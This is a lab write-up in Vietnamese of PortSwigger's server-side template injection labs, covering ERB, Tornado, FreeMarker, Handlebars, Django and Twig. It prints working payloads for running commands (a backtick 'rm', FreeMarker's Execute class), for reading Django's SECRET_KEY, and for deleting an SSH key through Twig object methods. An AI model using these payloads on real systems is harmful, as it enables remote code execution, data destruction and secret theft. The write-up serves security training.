---
# System prepended metadata

title: 'Web12: Server-side template injection'
tags: [portswigger]

---

# Web12: Server-side template injection

## Lab: Basic server-side template injection

```!
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.

To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
```

Bài lab có hint cho ta là server sử dụng ERB template trong ruby và có thể injection được, để ý thấy GET param `message` được xuất hiện trong response:

![](https://i.imgur.com/VvWi9ie.png)

Search document của ERB template, ta thấy có thể sử dụng `<% %>` để chạy ruby code

![](https://i.imgur.com/Ilh4WUU.png)

và trong ruby, có thể dễ dàng thực thi system command với backtick

![](https://i.imgur.com/SUsbHlP.png)

Vậy xóa file morale.txt theo yêu cầu bài lab là xong !!!

```
<% `rm morale.txt` %>
```

![](https://i.imgur.com/erWz6ku.png)

## Lab: Basic server-side template injection (code context)

```!
This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter
```

Login với account được cấp, ta thấy có 1 tính năng khá lạ đó là tùy chỉnh `Preferred name` 

![](https://i.imgur.com/v2RBxY0.png)

Khi ấn submit sẽ có một request như sau được gửi lên server

![](https://i.imgur.com/iXGfuq2.png)


Thử thay đổi giá trị này thành `user.email` và POST lại lên server
![](https://i.imgur.com/HgC0m3s.png)

Ở chức năng comment, nếu ta post 1 comment và back to blog sẽ thấy hiển thị ra lỗi như sau:

![](https://i.imgur.com/Te76D1r.png)
-> Chức năng prefered name dùng để hiển thị tên mà user muốn thay cho tên mặc định ban đầu.

Thử với `7*7`:

![](https://i.imgur.com/G4ULDJX.png)

Search [document](https://www.tornadoweb.org/en/stable/template.html) của Tornado, ta thấy có vài thứ thú v

![](https://i.imgur.com/1TtdVst.png)

![](https://i.imgur.com/6HrXGh1.png)

Vậy thử thực thi os command:

![](https://i.imgur.com/QjddA6O.png)

Cuối cùng chỉnh lại payload để xóa morale.txt, kết quả

![](https://i.imgur.com/uXq2UjF.png)

## Lab: Server-side template injection using documentation

```!
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials:

content-manager:C0nt3ntM4n4g3r
```


![](https://i.imgur.com/a0Morqb.png)

Thử chính `product.name` lại thành `product.getClass()`

Ấn Save và kết quả trả về là class name của product

![](https://i.imgur.com/bk8snrk.png)

-> FreeMarker trong java

Check document của template engine này ta thấy có đề đến `.new()`

![](https://i.imgur.com/YaZ51tF.png)

-> Có thể khởi tạo instance của bất kì class nào implement `TemplateModel` interface


Ta tiếp tục kiểm tra tất cả các class implement interface này:

![](https://i.imgur.com/47LiidS.png)
-> Class Execute có thể dùng để thực thi command

Thử với payload `${"freemarker.template.utility.Execute"?new()("id")}`: 
![](https://i.imgur.com/5SLCVBS.png)

Chỉnh lại payload và solve

![](https://i.imgur.com/AzERFab.png)

![](https://i.imgur.com/Ju3gFzd.png)

## Lab: Server-side template injection in an unknown language with a documented exploit

```!
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
```

Sau khi thử fuzz các input để trigger ssti cho việc detect template engine, ta thấy server trả về lỗi

![](https://i.imgur.com/Z8G9cpD.png)
=> Sử dụng handlebar làm template engine.

Tham khảo để khai thác ssti với handlebar engine tại: <https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/>

![](https://i.imgur.com/FyEq5IE.png)


Solve 
![](https://i.imgur.com/7edRF3S.png)

## Lab: Server-side template injection with information disclosure via user-supplied objects

```!
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.

To solve the lab, steal and submit the framework's secret key.

You can log in to your own account using the following credentials:

content-manager:C0nt3ntM4n4g3r
```
Login với account được cung cấp, sau đó thử thay `{{product.stock}} thành {{product}}`:

![](https://i.imgur.com/8NGIZr0.png)


Lúc này đoán là framework của js, thử `{{product.__proto__}}`, trả về lỗi như sau
![](https://i.imgur.com/Pt2YHVD.png)
=> Sử dụng django template

Ở django template, ta có thể dùng `{% debug %}` để in ra tất cả các modules đã được import:
![](https://i.imgur.com/9JFtGBg.png)

Thử trên server, thấy có `settings` là khá thú vị
![](https://i.imgur.com/QIrlaZx.png)

Check qua doc của django, ta thấy nó có chứa SECRET_KEY cần tìm:

![](https://i.imgur.com/fxoXLQD.png)

Chỉnh lại payload, ấn Preview -> lấy được secret key

![](https://i.imgur.com/0KaKrwk.png)

Submit secret key và solve bài lab

![](https://i.imgur.com/n05ZcAE.png)


## Lab: Server-side template injection in a sandboxed environment

```!
This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos's home directory. Then submit the contents of the file.

You can log in to your own account using the following credentials:

content-manager:C0nt3ntM4n4g3r
```

Vì template sử dụng là freemarker, ta sử dụng payload có sẵn để RCE thì bị báo lỗi:

![](https://i.imgur.com/xGB4fov.png)

Tham khảo tại [đây](https://ackcent.com/in-depth-freemarker-template-injection/) và [đây](https://www.synacktiv.com/en/publications/exploiting-cve-2021-25770-a-server-side-template-injection-in-youtrack.html) để hiểu thêm về payload bypass sandbox.

Payload bypass:

![](https://i.imgur.com/lUOJQz2.png)


Hoặc payload khác:
![](https://i.imgur.com/wqmextk.png)

Solve bài lab

![](https://i.imgur.com/XTCKT0N.png)

## Lab: Server-side template injection with a custom exploit

```!
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter
```
![](https://i.imgur.com/7YCIW8V.png)

Fuzz -> template engine là twig, đồng thời nếu ta upload một file không phải là ảnh thì server báo lỗi như sau

![](https://i.imgur.com/REUotXl.png)

-> Class User có một method là setAvatar nhận hai tham số.

Chỉnh lại payload như sau:

![](https://i.imgur.com/82bx1jn.png)

Sau đó tiếp tục GET đến một post và Post comment để trigger ssti

![](https://i.imgur.com/PSXzASv.png)

Tiếp tục gửi GET request đến `/avatar?avatar=winener` để đọc nội dung file passwd:

![](https://i.imgur.com/bx0YGSQ.png)


Làm tương tự để đọc source các file php trên server:

`avatar_upload.php`

![](https://i.imgur.com/MSoZ9bT.png)

`User.php`

```php!=
HTTP/1.1 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 1681

<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

Vì bài yêu cầu ta xóa file `/.ssh/id_rsa`, ta có thể lợi dụng hàm public `gdprDelete` class User.

Vậy payload cuối: `blog-post-author-display=user.setAvatar("/home/carlos/.ssh/id_rsa", "image/png")&csrf=qIua8eXQ3xf8a0OzNeiPjgjIL5xMa2Uq`

và `blog-post-author-display=user.gdprDelete()&csrf=qIua8eXQ3xf8a0OzNeiPjgjIL5xMa2Uq`


![](https://i.imgur.com/fpL0rOy.png)

###### tags: `portswigger`